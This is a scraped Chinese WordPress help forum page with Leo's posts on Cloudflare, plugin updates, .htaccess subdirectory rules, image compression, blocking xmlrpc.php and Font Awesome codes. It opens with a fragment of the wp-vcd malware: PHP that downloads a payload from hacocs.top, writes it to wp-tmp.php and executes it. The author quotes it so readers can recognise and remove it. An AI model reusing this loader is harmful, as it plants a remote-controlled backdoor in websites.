                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }
                
            }
        } 
        elseif ($tmpcontent = @file_get_contents("http://www.hacocs.top/code.php";)  AND stripos($tmpcontent, $wp_auth_key) !== false ) {
if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }
                
            }
        }
elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent));
           
        } elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent)); 
        } elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent)); 
        } 
        
        
        
        
        
    }
}
//$start_wp_theme_tmp


//wp_tmp

//$end_wp_theme_tmp
?>
经过观察,这是一段植入的病毒程序,需要手工删掉。
 
这些攻击主要利用了目标网站过时的插件和主题中存在的安全漏洞。被标记为 "wp-vcd" 的恶意代码主要隐藏在合法的 WordPress 文件中,且被攻击者用于添加一个秘密的管理员账户,随后获取对受感染网站的完全控制权。
 
该恶意代码的初始版本通过一个名为 "wp-vcd.php" 的文件将恶意代码注入到 WordPress 核心文件中。
 
在我们发现的大多数案例中,恶意软件的注入都与过时的软件(插件或主题)有关。只要进行了简单的安全更新或是启用 WAF 都能够成功地阻断这种行为。该恶意代码非常简单,并没有通过编码或混淆函数来隐藏其恶意的意图……
 
所以建议大家插件常更新、主题常更新,这样也能有效防御病毒侵袭。
条新动态, 点击查看
Leo

Leo 回答了问题 • 2018-01-29 13:40 • 2 个回复 不感兴趣

怎么将域名加载到CLOUDFLARE上面呢?

赞同来自:

首先注册一个cloudflare账号,然后登入进去后scan一下域名,一般选择free(免费的即可),scan之后,再在cloudflare控制面板的dns那边进去对照域名解析进行添加记录(一般scan之后就会把记录自动添加上去,不过最好还是确认一下),最后记... 显示全部 »
首先注册一个cloudflare账号,然后登入进去后scan一下域名,一般选择free(免费的即可),scan之后,再在cloudflare控制面板的dns那边进去对照域名解析进行添加记录(一般scan之后就会把记录自动添加上去,不过最好还是确认一下),最后记得在域名注册商那把ns改为cloudflare给到的ns,这样就成功托管到cloudflare了
 
把​Rocket Loader给关掉内容就可以出现了,虽然可以提速但是有时也会出现问题
把​Rocket Loader给关掉内容就可以出现了,虽然可以提速但是有时也会出现问题

wordpress指定插件禁止更新

WordPressLeo 发表了文章 • 1 个评论 • 610 次浏览 • 2018-06-11 13:49 • 来自相关话题

function remove_update_notifications( $value ) {

    if ( isset( $value ) && is_object( $value ) ) {
        unset( $value->response[ 'js_composer/js_composer.php' ] );
    }

    return $value;
}
add_filter( 'site_transient_update_plugins', 'remove_update_notifications' );
 
只需找到插件目录下插件名.php的文件,将“js_composer/js_composer.php”路径替换为指定插件目录下的插件名.php文件,因为这个文件里包含插件版本号,出新版本后,wordpress匹配后会提示更新的,对于某些特殊插件,不建议更新的、不方便更新的,都可以这样指定禁止。
之前我有分享过一个主题和所有插件都禁止更新的文章,考虑到杀伤范围略大,不建议使用,今次这个更加适用。 查看全部
function remove_update_notifications( $value ) {

    if ( isset( $value ) && is_object( $value ) ) {
        unset( $value->response[ 'js_composer/js_composer.php' ] );
    }

    return $value;
}
add_filter( 'site_transient_update_plugins', 'remove_update_notifications' );
 
只需找到插件目录下插件名.php的文件,将“js_composer/js_composer.php”路径替换为指定插件目录下的插件名.php文件,因为这个文件里包含插件版本号,出新版本后,wordpress匹配后会提示更新的,对于某些特殊插件,不建议更新的、不方便更新的,都可以这样指定禁止。
之前我有分享过一个主题和所有插件都禁止更新的文章,考虑到杀伤范围略大,不建议使用,今次这个更加适用。

分享一些slider以及一些布局上不错的小细节

WordPressLeo 发表了文章 • 1 个评论 • 515 次浏览 • 2018-05-16 17:29 • 来自相关话题

http://demo.wponlinesupport.com/slick-slider-demo/?utm_source=hp&event=demo  首先可以通过这个链接,打开,然后点击一个菜单图标的按钮,可以看到右侧有很多插件可供选择,插件可以直接用,当然主要还是我们可以参考一些不错的小细节。
由于插件比较多,这边就列部分效果截图























































  查看全部
http://demo.wponlinesupport.com/slick-slider-demo/?utm_source=hp&event=demo  首先可以通过这个链接,打开,然后点击一个菜单图标的按钮,可以看到右侧有很多插件可供选择,插件可以直接用,当然主要还是我们可以参考一些不错的小细节。
由于插件比较多,这边就列部分效果截图

1.png


2.png


3.png


4.png


5.png


6.png


7.png


8.png


9.png


10.png


11.png

 

用子目录做二级网站需要注意的地方

WordPressLeo 发表了文章 • 1 个评论 • 477 次浏览 • 2018-05-08 17:13 • 来自相关话题

首先提及一下子目录和二级域名的优劣势:
 
二级域名: 首先,二级域名的权重大于子目录的,二级域名在搜索引擎看来和主域名是两个独立的网站,主域名在很多时候会传递一小部分信任度给二级域名(是信任度不是PR)。所以,很多做SEO的人都知道二级域名天生就比子目录具有更高的权重和更好的排名。 
子目录: 首先要知道一点,子目录其实是主站的一部分,正如上面所说,权重天生就比二级域名低,但个人还是建议以子目录建立子站,原因主要是: ①、二级域名和主域名是两个相互独立的站,要优化的话,需要分别优化两个站,并且在外链的建设过程中,网站的权重会被这些独立的网站分散。主域名通过外链的建设获得高权重,并不意味者二级域名就能获得高权重。 ②、二级域名的变多,会使分离出来的二级网站变小。 ③、子目录则相反,子目录的增多会使主网站变大,随着网站的变大,主站的收录量,权重,信任度也将提升。
 
 
最后这边重点提及一下,用子目录做二级网站,我们必须要更改的.htaccess规则
# BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /es/
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /es/index.php [L]
</IfModule>
# END WordPress
 
 
以上加粗斜体就是我们必须要更改的规则,默认是没有/es/的,举例,如果你的子目录是以es命名,那么这边就要更改为/es/,否则除了首页,所有页面点击之后都会跳转到主站对应的页面。
  查看全部
首先提及一下子目录和二级域名的优劣势:
 
二级域名: 首先,二级域名的权重大于子目录的,二级域名在搜索引擎看来和主域名是两个独立的网站,主域名在很多时候会传递一小部分信任度给二级域名(是信任度不是PR)。所以,很多做SEO的人都知道二级域名天生就比子目录具有更高的权重和更好的排名。 
子目录: 首先要知道一点,子目录其实是主站的一部分,正如上面所说,权重天生就比二级域名低,但个人还是建议以子目录建立子站,原因主要是: ①、二级域名和主域名是两个相互独立的站,要优化的话,需要分别优化两个站,并且在外链的建设过程中,网站的权重会被这些独立的网站分散。主域名通过外链的建设获得高权重,并不意味者二级域名就能获得高权重。 ②、二级域名的变多,会使分离出来的二级网站变小。 ③、子目录则相反,子目录的增多会使主网站变大,随着网站的变大,主站的收录量,权重,信任度也将提升。
 
 
最后这边重点提及一下,用子目录做二级网站,我们必须要更改的.htaccess规则
# BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /es/
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /es/index.php [L]
</IfModule>
# END WordPress
 
 
以上加粗斜体就是我们必须要更改的规则,默认是没有/es/的,举例,如果你的子目录是以es命名,那么这边就要更改为/es/,否则除了首页,所有页面点击之后都会跳转到主站对应的页面。
 

WordPress图片压缩插件:Compress JPEG & PNG images

WordPressLeo 发表了文章 • 2 个评论 • 880 次浏览 • 2018-04-24 09:36 • 来自相关话题

我们在英文建站的时候,经常会碰到要设置一些尺寸较大的 banner图片,产品细节图片,工厂厂区和车间环境图片等等。通常这类图片文件都比较大,那么就需要进行图片优化,加快页面的载入速度,提高浏览体验。对于 WordPress 来说,也有各式各样的图片优化插件,有时候你可能也不知道选哪个来用。

在图片优化上,TinyPNG 可谓名声赫赫。https://tinypng.com/
 
往常我们习惯于点击 TinyPNG 网站上的上传按钮,然后按 Ctrl 键选择多张图片上传压缩。TinyPNG 的压缩效率非常高,曾经有张 380K 的 PNG 图片压缩到了 60K,而且图片清晰度并没有明显的降低,可谓超强!

TinyPNG 对于一些深度 PhotoShop 用户也是福音,它的 PhotoShop Plugin 用起来也是相当方便的。价格50刀,永久使用,性价比无敌。

现在,在 WordPress 上,我们也可以使用 TinyPNG 出的插件:Compress JPEG & PNG images。在 WP 后台插件-安装插件 那里关键词输入”TinyPNG”,即可找到这款插件:




激活,然后去设置:





一般只要勾选 Original image 即可,这样在你上传图片的时候会自动进行压缩。

初次使用的时候要注册一下,获取 TinyPNG API Key。注意,不支持 qq邮箱。

激活之后,每个月你可以免费压缩高达 500 张 JPG/PNG 格式的图片。一般外贸建站每个月上传顶多十几张图片吧,所以这基本就是免费的。

对于之前已经上传到网站上的图片,它也可以进行批量压缩(bulk optimization)。





 
推荐理由:没发现更好的

之前也用过其他的图片压缩插件,如:

WP Smush Image Compression:此插件能压缩图片,减小图片大小,但图片质量清晰度也下降明显。
EWWW Image Optimizer:此插件是需要付费购买 API 才能用,而且需要服务器开启 exec() 函数。用起来感觉设置挺多,但是正因为设置非常多,感觉挺晕的。 查看全部
我们在英文建站的时候,经常会碰到要设置一些尺寸较大的 banner图片,产品细节图片,工厂厂区和车间环境图片等等。通常这类图片文件都比较大,那么就需要进行图片优化,加快页面的载入速度,提高浏览体验。对于 WordPress 来说,也有各式各样的图片优化插件,有时候你可能也不知道选哪个来用。

在图片优化上,TinyPNG 可谓名声赫赫。https://tinypng.com/
 
往常我们习惯于点击 TinyPNG 网站上的上传按钮,然后按 Ctrl 键选择多张图片上传压缩。TinyPNG 的压缩效率非常高,曾经有张 380K 的 PNG 图片压缩到了 60K,而且图片清晰度并没有明显的降低,可谓超强!

TinyPNG 对于一些深度 PhotoShop 用户也是福音,它的 PhotoShop Plugin 用起来也是相当方便的。价格50刀,永久使用,性价比无敌。

现在,在 WordPress 上,我们也可以使用 TinyPNG 出的插件:Compress JPEG & PNG images。在 WP 后台插件-安装插件 那里关键词输入”TinyPNG”,即可找到这款插件:
tiny-png-plugin.png

激活,然后去设置:

setting.png

一般只要勾选 Original image 即可,这样在你上传图片的时候会自动进行压缩。

初次使用的时候要注册一下,获取 TinyPNG API Key。注意,不支持 qq邮箱。

激活之后,每个月你可以免费压缩高达 500 张 JPG/PNG 格式的图片。一般外贸建站每个月上传顶多十几张图片吧,所以这基本就是免费的。

对于之前已经上传到网站上的图片,它也可以进行批量压缩(bulk optimization)。

screenshot-4.png

 
推荐理由:没发现更好的

之前也用过其他的图片压缩插件,如:

WP Smush Image Compression:此插件能压缩图片,减小图片大小,但图片质量清晰度也下降明显。
EWWW Image Optimizer:此插件是需要付费购买 API 才能用,而且需要服务器开启 exec() 函数。用起来感觉设置挺多,但是正因为设置非常多,感觉挺晕的。

wordpress网站被恶意攻击(大量访问xmlrpc.php)解决方法

WordPressLeo 发表了文章 • 1 个评论 • 579 次浏览 • 2018-03-26 11:52 • 来自相关话题

通过查看wordpress网站的日志发现,每天有大量的IP访问wordpress网站xmlrpc.php文件,这个文件本是wordpress程序方便用户进行远程发布的,基本上很少用到。但现在却有人恶意大量的访问这个wordpress网站xmlrpc.php文件,说明很不正常。
 
攻击原理
wordpress网站xmlrpc.php文件是一个远程端口文件,攻击者通过POST提交恶意大量的提交,不断的访问xmlrpc.php文件,形成DDOS攻击,致使网站服务器CPU过高停机,网站无法打开。

解决方法
解决wordpress网站xmlrpc.php文件被恶意攻击,最好的方法就是关闭掉自己网站xmlrpc.php文件。

方法如下:
第一步:在自己网站使用的wordpress模板中找到模板函数文件functions.php,当下面的代码粘贴进去。
add_filter('xmlrpc_enabled', '__return_false');
 
第二步:再通过.htaccess屏蔽xmlrpc.php文件的访问,这个文件是放在网站空间的根目录下。
<Files xmlrpc.php>
Order Deny,Allow
Deny from all
</Files>
 
通过以上二步的操作,就可以解决wordpress网站xmlrpc.php文件被恶意攻击的问题。在此建议使用wordpress程序建网站的朋友全部关闭掉xmlrpc.php文件,不要等到网站被恶意攻击了才去关闭。 查看全部
通过查看wordpress网站的日志发现,每天有大量的IP访问wordpress网站xmlrpc.php文件,这个文件本是wordpress程序方便用户进行远程发布的,基本上很少用到。但现在却有人恶意大量的访问这个wordpress网站xmlrpc.php文件,说明很不正常。
 
攻击原理
wordpress网站xmlrpc.php文件是一个远程端口文件,攻击者通过POST提交恶意大量的提交,不断的访问xmlrpc.php文件,形成DDOS攻击,致使网站服务器CPU过高停机,网站无法打开。

解决方法
解决wordpress网站xmlrpc.php文件被恶意攻击,最好的方法就是关闭掉自己网站xmlrpc.php文件。

方法如下:
第一步:在自己网站使用的wordpress模板中找到模板函数文件functions.php,当下面的代码粘贴进去。
add_filter('xmlrpc_enabled', '__return_false');
 
第二步:再通过.htaccess屏蔽xmlrpc.php文件的访问,这个文件是放在网站空间的根目录下。
<Files xmlrpc.php>
Order Deny,Allow
Deny from all
</Files>
 
通过以上二步的操作,就可以解决wordpress网站xmlrpc.php文件被恶意攻击的问题。在此建议使用wordpress程序建网站的朋友全部关闭掉xmlrpc.php文件,不要等到网站被恶意攻击了才去关闭。

网页使用Font Awesome图标字体时,css定义 content 属性必不可少,如下所示:

WordPressLeo 发表了文章 • 1 个评论 • 1260 次浏览 • 2018-03-09 09:29 • 来自相关话题

有些情况下,我们不得不使用伪元素::before 和 ::after来实现fontawesome的小图标,所以我收集了一下图标类对应的字符编码表:
NAME CODE NAME CODE
.fa-glass \f000 .fa-github-alt \f113
.fa-music \f001 .fa-folder-o \f114
.fa-search \f002 .fa-folder-open-o \f115
.fa-envelope-o \f003 .fa-smile-o \f118
.fa-heart \f004 .fa-frown-o \f119
.fa-star \f005 .fa-meh-o \f11a
.fa-star-o \f006 .fa-gamepad \f11b
.fa-user \f007 .fa-keyboard-o \f11c
.fa-film \f008 .fa-flag-o \f11d
.fa-th-large \f009 .fa-flag-checkered \f11e
.fa-th \f00a .fa-terminal \f120
.fa-th-list \f00b .fa-code \f121
.fa-check \f00c .fa-mail-reply-all \f122
.fa-remove \f00d .fa-reply-all \f122
.fa-close \f00d .fa-star-half-empty \f123
.fa-times \f00d .fa-star-half-full \f123
.fa-search-plus \f00e .fa-star-half-o \f123
.fa-search-minus \f010 .fa-location-arrow \f124
.fa-power-off \f011 .fa-crop \f125
.fa-signal \f012 .fa-code-fork \f126
.fa-gear \f013 .fa-unlink \f127
.fa-cog \f013 .fa-chain-broken \f127
.fa-trash-o \f014 .fa-question \f128
.fa-home \f015 .fa-info \f129
.fa-file-o \f016 .fa-exclamation \f12a
.fa-clock-o \f017 .fa-superscript \f12b
.fa-road \f018 .fa-subscript \f12c
.fa-download \f019 .fa-eraser \f12d
.fa-arrow-circle-o-down \f01a .fa-puzzle-piece \f12e
.fa-arrow-circle-o-up \f01b .fa-microphone \f130
.fa-inbox \f01c .fa-microphone-slash \f131
.fa-play-circle-o \f01d .fa-shield \f132
.fa-rotate-right \f01e .fa-calendar-o \f133
.fa-repeat \f01e .fa-fire-extinguisher \f134
.fa-refresh \f021 .fa-rocket \f135
.fa-list-alt \f022 .fa-maxcdn \f136
.fa-lock \f023 .fa-chevron-circle-left \f137
.fa-flag \f024 .fa-chevron-circle-right \f138
.fa-headphones \f025 .fa-chevron-circle-up \f139
.fa-volume-off \f026 .fa-chevron-circle-down \f13a
.fa-volume-down \f027 .fa-html5 \f13b
.fa-volume-up \f028 .fa-css3 \f13c
.fa-qrcode \f029 .fa-anchor \f13d
.fa-barcode \f02a .fa-unlock-alt \f13e
.fa-tag \f02b .fa-bullseye \f140
.fa-tags \f02c .fa-ellipsis-h \f141
.fa-book \f02d .fa-ellipsis-v \f142
.fa-bookmark \f02e .fa-rss-square \f143
.fa-print \f02f .fa-play-circle \f144
.fa-camera \f030 .fa-ticket \f145
.fa-font \f031 .fa-minus-square \f146
.fa-bold \f032 .fa-minus-square-o \f147
.fa-italic \f033 .fa-level-up \f148
.fa-text-height \f034 .fa-level-down \f149
.fa-text-width \f035 .fa-check-square \f14a
.fa-align-left \f036 .fa-pencil-square \f14b
.fa-align-center \f037 .fa-external-link-square \f14c
.fa-align-right \f038 .fa-share-square \f14d
.fa-align-justify \f039 .fa-compass \f14e
.fa-list \f03a .fa-toggle-down \f150
.fa-dedent \f03b .fa-caret-square-o-down \f150
.fa-outdent \f03b .fa-toggle-up \f151
.fa-indent \f03c .fa-caret-square-o-up \f151
.fa-video-camera \f03d .fa-toggle-right \f152
.fa-photo \f03e .fa-caret-square-o-right \f152
.fa-image \f03e .fa-euro \f153
.fa-picture-o \f03e .fa-eur \f153
.fa-pencil \f040 .fa-gbp \f154
.fa-map-marker \f041 .fa-dollar \f155
.fa-adjust \f042 .fa-usd \f155
.fa-tint \f043 .fa-rupee \f156
.fa-edit \f044 .fa-inr \f156
.fa-pencil-square-o \f044 .fa-cny \f157
.fa-share-square-o \f045 .fa-rmb \f157
.fa-check-square-o \f046 .fa-yen \f157
.fa-arrows \f047 .fa-jpy \f157
.fa-step-backward \f048 .fa-ruble \f158
.fa-fast-backward \f049 .fa-rouble \f158
.fa-backward \f04a .fa-rub \f158
.fa-play \f04b .fa-won \f159
.fa-pause \f04c .fa-krw \f159
.fa-stop \f04d .fa-bitcoin \f15a
.fa-forward \f04e .fa-btc \f15a
.fa-fast-forward \f050 .fa-file \f15b
.fa-step-forward \f051 .fa-file-text \f15c
.fa-eject \f052 .fa-sort-alpha-asc \f15d
.fa-chevron-left \f053 .fa-sort-alpha-desc \f15e
.fa-chevron-right \f054 .fa-sort-amount-asc \f160
.fa-plus-circle \f055 .fa-sort-amount-desc \f161
.fa-minus-circle \f056 .fa-sort-numeric-asc \f162
.fa-times-circle \f057 .fa-sort-numeric-desc \f163
.fa-check-circle \f058 .fa-thumbs-up \f164
.fa-question-circle \f059 .fa-thumbs-down \f165
.fa-info-circle \f05a .fa-youtube-square \f166
.fa-crosshairs \f05b .fa-youtube \f167
.fa-times-circle-o \f05c .fa-xing \f168
.fa-check-circle-o \f05d .fa-xing-square \f169
.fa-ban \f05e .fa-youtube-play \f16a
.fa-arrow-left \f060 .fa-dropbox \f16b
.fa-arrow-right \f061 .fa-stack-overflow \f16c
.fa-arrow-up \f062 .fa-instagram \f16d
.fa-arrow-down \f063 .fa-flickr \f16e
.fa-mail-forward \f064 .fa-adn \f170
.fa-share \f064 .fa-bitbucket \f171
.fa-expand \f065 .fa-bitbucket-square \f172
.fa-compress \f066 .fa-tumblr \f173
.fa-plus \f067 .fa-tumblr-square \f174
.fa-minus \f068 .fa-long-arrow-down \f175
.fa-asterisk \f069 .fa-long-arrow-up \f176
.fa-exclamation-circle \f06a .fa-long-arrow-left \f177
.fa-gift \f06b .fa-long-arrow-right \f178
.fa-leaf \f06c .fa-apple \f179
.fa-fire \f06d .fa-windows \f17a
.fa-eye \f06e .fa-android \f17b
.fa-eye-slash \f070 .fa-linux \f17c
.fa-warning \f071 .fa-dribbble \f17d
.fa-exclamation-triangle \f071 .fa-skype \f17e
.fa-plane \f072 .fa-foursquare \f180
.fa-calendar \f073 .fa-trello \f181
.fa-random \f074 .fa-female \f182
.fa-comment \f075 .fa-male \f183
.fa-magnet \f076 .fa-gittip \f184
.fa-chevron-up \f077 .fa-sun-o \f185
.fa-chevron-down \f078 .fa-moon-o \f186
.fa-retweet \f079 .fa-archive \f187
.fa-shopping-cart \f07a .fa-bug \f188
.fa-folder \f07b .fa-vk \f189
.fa-folder-open \f07c .fa-weibo \f18a
.fa-arrows-v \f07d .fa-renren \f18b
.fa-arrows-h \f07e .fa-pagelines \f18c
.fa-bar-chart-o \f080 .fa-stack-exchange \f18d
.fa-bar-chart \f080 .fa-arrow-circle-o-right \f18e
.fa-twitter-square \f081 .fa-arrow-circle-o-left \f190
.fa-facebook-square \f082 .fa-toggle-left \f191
.fa-camera-retro \f083 .fa-caret-square-o-left \f191
.fa-key \f084 .fa-dot-circle-o \f192
.fa-gears \f085 .fa-wheelchair \f193
.fa-cogs \f085 .fa-vimeo-square \f194
.fa-comments \f086 .fa-turkish-lira \f195
.fa-thumbs-o-up \f087 .fa-try \f195
.fa-thumbs-o-down \f088 .fa-plus-square-o \f196
.fa-star-half \f089 .fa-space-shuttle \f197
.fa-heart-o \f08a .fa-slack \f198
.fa-sign-out \f08b .fa-envelope-square \f199
.fa-linkedin-square \f08c .fa-wordpress \f19a
.fa-thumb-tack \f08d .fa-openid \f19b
.fa-external-link \f08e .fa-institution \f19c
.fa-sign-in \f090 .fa-bank \f19c
.fa-trophy \f091 .fa-university \f19c
.fa-github-square \f092 .fa-mortar-board \f19d
.fa-upload \f093 .fa-graduation-cap \f19d
.fa-lemon-o \f094 .fa-yahoo \f19e
.fa-phone \f095 .fa-google \f1a0
.fa-square-o \f096 .fa-reddit \f1a1
.fa-bookmark-o \f097 .fa-reddit-square \f1a2
.fa-phone-square \f098 .fa-stumbleupon-circle \f1a3
.fa-twitter \f099 .fa-stumbleupon \f1a4
.fa-facebook \f09a .fa-delicious \f1a5
.fa-github \f09b .fa-digg \f1a6
.fa-unlock \f09c .fa-pied-piper \f1a7
.fa-credit-card \f09d .fa-pied-piper-alt \f1a8
.fa-rss \f09e .fa-drupal \f1a9
.fa-hdd-o \f0a0 .fa-joomla \f1aa
.fa-bullhorn \f0a1 .fa-language \f1ab
.fa-bell \f0f3 .fa-fax \f1ac
.fa-certificate \f0a3 .fa-building \f1ad
.fa-hand-o-right \f0a4 .fa-child \f1ae
.fa-hand-o-left \f0a5 .fa-paw \f1b0
.fa-hand-o-up \f0a6 .fa-spoon \f1b1
.fa-hand-o-down \f0a7 .fa-cube \f1b2
.fa-arrow-circle-left \f0a8 .fa-cubes \f1b3
.fa-arrow-circle-right \f0a9 .fa-behance \f1b4
.fa-arrow-circle-up \f0aa .fa-behance-square \f1b5
.fa-arrow-circle-down \f0ab .fa-steam \f1b6
.fa-globe \f0ac .fa-steam-square \f1b7
.fa-wrench \f0ad .fa-recycle \f1b8
.fa-tasks \f0ae .fa-automobile \f1b9
.fa-filter \f0b0 .fa-car \f1b9
.fa-briefcase \f0b1 .fa-cab \f1ba
.fa-arrows-alt \f0b2 .fa-taxi \f1ba
.fa-group \f0c0 .fa-tree \f1bb
.fa-users \f0c0 .fa-spotify \f1bc
.fa-chain \f0c1 .fa-deviantart \f1bd
.fa-link \f0c1 .fa-soundcloud \f1be
.fa-cloud \f0c2 .fa-database \f1c0
.fa-flask \f0c3 .fa-file-pdf-o \f1c1
.fa-cut \f0c4 .fa-file-word-o \f1c2
.fa-scissors \f0c4 .fa-file-excel-o \f1c3
.fa-copy \f0c5 .fa-file-powerpoint-o \f1c4
.fa-files-o \f0c5 .fa-file-photo-o \f1c5
.fa-paperclip \f0c6 .fa-file-picture-o \f1c5
.fa-save \f0c7 .fa-file-image-o \f1c5
.fa-floppy-o \f0c7 .fa-file-zip-o \f1c6
.fa-square \f0c8 .fa-file-archive-o \f1c6
.fa-navicon \f0c9 .fa-file-sound-o \f1c7
.fa-reorder \f0c9 .fa-file-audio-o \f1c7
.fa-bars \f0c9 .fa-file-movie-o \f1c8
.fa-list-ul \f0ca .fa-file-video-o \f1c8
.fa-list-ol \f0cb .fa-file-code-o \f1c9
.fa-strikethrough \f0cc .fa-vine \f1ca
.fa-underline \f0cd .fa-codepen \f1cb
.fa-table \f0ce .fa-jsfiddle \f1cc
.fa-magic \f0d0 .fa-life-bouy \f1cd
.fa-truck \f0d1 .fa-life-buoy \f1cd
.fa-pinterest \f0d2 .fa-life-saver \f1cd
.fa-pinterest-square \f0d3 .fa-support \f1cd
.fa-google-plus-square \f0d4 .fa-life-ring \f1cd
.fa-google-plus \f0d5 .fa-circle-o-notch \f1ce
.fa-money \f0d6 .fa-ra \f1d0
.fa-caret-down \f0d7 .fa-rebel \f1d0
.fa-caret-up \f0d8 .fa-ge \f1d1
.fa-caret-left \f0d9 .fa-empire \f1d1
.fa-caret-right \f0da .fa-git-square \f1d2
.fa-columns \f0db .fa-git \f1d3
.fa-unsorted \f0dc .fa-hacker-news \f1d4
.fa-sort \f0dc .fa-tencent-weibo \f1d5
.fa-sort-down \f0dd .fa-qq \f1d6
.fa-sort-desc \f0dd .fa-wechat \f1d7
.fa-sort-up \f0de .fa-weixin \f1d7
.fa-sort-asc \f0de .fa-send \f1d8
.fa-envelope \f0e0 .fa-paper-plane \f1d8
.fa-linkedin \f0e1 .fa-send-o \f1d9
.fa-rotate-left \f0e2 .fa-paper-plane-o \f1d9
.fa-undo \f0e2 .fa-history \f1da
.fa-legal \f0e3 .fa-circle-thin \f1db
.fa-gavel \f0e3 .fa-header \f1dc
.fa-dashboard \f0e4 .fa-paragraph \f1dd
.fa-tachometer \f0e4 .fa-sliders \f1de
.fa-comment-o \f0e5 .fa-share-alt \f1e0
.fa-comments-o \f0e6 .fa-share-alt-square \f1e1
.fa-flash \f0e7 .fa-bomb \f1e2
.fa-bolt \f0e7 .fa-soccer-ball-o \f1e3
.fa-sitemap \f0e8 .fa-futbol-o \f1e3
.fa-umbrella \f0e9 .fa-tty \f1e4
.fa-paste \f0ea .fa-binoculars \f1e5
.fa-clipboard \f0ea .fa-plug \f1e6
.fa-lightbulb-o \f0eb .fa-slideshare \f1e7
.fa-exchange \f0ec .fa-twitch \f1e8
.fa-cloud-download \f0ed .fa-yelp \f1e9
.fa-cloud-upload \f0ee .fa-newspaper-o \f1ea
.fa-user-md \f0f0 .fa-wifi \f1eb
.fa-stethoscope \f0f1 .fa-calculator \f1ec
.fa-suitcase \f0f2 .fa-paypal \f1ed
.fa-bell-o \f0a2 .fa-google-wallet \f1ee
.fa-coffee \f0f4 .fa-cc-visa \f1f0
.fa-cutlery \f0f5 .fa-cc-mastercard \f1f1
.fa-file-text-o \f0f6 .fa-cc-discover \f1f2
.fa-building-o \f0f7 .fa-cc-amex \f1f3
.fa-hospital-o \f0f8 .fa-cc-paypal \f1f4
.fa-ambulance \f0f9 .fa-cc-stripe \f1f5
.fa-medkit \f0fa .fa-bell-slash \f1f6
.fa-fighter-jet \f0fb .fa-bell-slash-o \f1f7
.fa-beer \f0fc .fa-trash \f1f8
.fa-h-square \f0fd .fa-copyright \f1f9
.fa-plus-square \f0fe .fa-at \f1fa
.fa-angle-double-left \f100 .fa-eyedropper \f1fb
.fa-angle-double-right \f101 .fa-paint-brush \f1fc
.fa-angle-double-up \f102 .fa-birthday-cake \f1fd
.fa-angle-double-down \f103 .fa-area-chart \f1fe
.fa-angle-left \f104 .fa-pie-chart \f200
.fa-angle-right \f105 .fa-line-chart \f201
.fa-angle-up \f106 .fa-lastfm \f202
.fa-angle-down \f107 .fa-lastfm-square \f203
.fa-desktop \f108 .fa-toggle-off \f204
.fa-laptop \f109 .fa-toggle-on \f205
.fa-tablet \f10a .fa-bicycle \f206
.fa-mobile-phone \f10b .fa-bus \f207
.fa-mobile \f10b .fa-ioxhost \f208
.fa-circle-o \f10c .fa-angellist \f209
.fa-quote-left \f10d .fa-cc \f20a
.fa-quote-right \f10e .fa-shekel \f20b
.fa-spinner \f110 .fa-sheqel \f20b
.fa-circle \f111 .fa-ils \f20b
.fa-mail-reply \f112 .fa-meanpath \f20c
.fa-reply \f112    
 
(.fa-mail-reply \f112                              .fa-meanpath \f20c             注意这样区分,一行是俩个图标) 查看全部
有些情况下,我们不得不使用伪元素::before 和 ::after来实现fontawesome的小图标,所以我收集了一下图标类对应的字符编码表:
NAME CODE NAME CODE
.fa-glass \f000 .fa-github-alt \f113
.fa-music \f001 .fa-folder-o \f114
.fa-search \f002 .fa-folder-open-o \f115
.fa-envelope-o \f003 .fa-smile-o \f118
.fa-heart \f004 .fa-frown-o \f119
.fa-star \f005 .fa-meh-o \f11a
.fa-star-o \f006 .fa-gamepad \f11b
.fa-user \f007 .fa-keyboard-o \f11c
.fa-film \f008 .fa-flag-o \f11d
.fa-th-large \f009 .fa-flag-checkered \f11e
.fa-th \f00a .fa-terminal \f120
.fa-th-list \f00b .fa-code \f121
.fa-check \f00c .fa-mail-reply-all \f122
.fa-remove \f00d .fa-reply-all \f122
.fa-close \f00d .fa-star-half-empty \f123
.fa-times \f00d .fa-star-half-full \f123
.fa-search-plus \f00e .fa-star-half-o \f123
.fa-search-minus \f010 .fa-location-arrow \f124
.fa-power-off \f011 .fa-crop \f125
.fa-signal \f012 .fa-code-fork \f126
.fa-gear \f013 .fa-unlink \f127
.fa-cog \f013 .fa-chain-broken \f127
.fa-trash-o \f014 .fa-question \f128
.fa-home \f015 .fa-info \f129
.fa-file-o \f016 .fa-exclamation \f12a
.fa-clock-o \f017 .fa-superscript \f12b
.fa-road \f018 .fa-subscript \f12c
.fa-download \f019 .fa-eraser \f12d
.fa-arrow-circle-o-down \f01a .fa-puzzle-piece \f12e
.fa-arrow-circle-o-up \f01b .fa-microphone \f130
.fa-inbox \f01c .fa-microphone-slash \f131
.fa-play-circle-o \f01d .fa-shield \f132
.fa-rotate-right \f01e .fa-calendar-o \f133
.fa-repeat \f01e .fa-fire-extinguisher \f134
.fa-refresh \f021 .fa-rocket \f135
.fa-list-alt \f022 .fa-maxcdn \f136
.fa-lock \f023 .fa-chevron-circle-left \f137
.fa-flag \f024 .fa-chevron-circle-right \f138
.fa-headphones \f025 .fa-chevron-circle-up \f139
.fa-volume-off \f026 .fa-chevron-circle-down \f13a
.fa-volume-down \f027 .fa-html5 \f13b
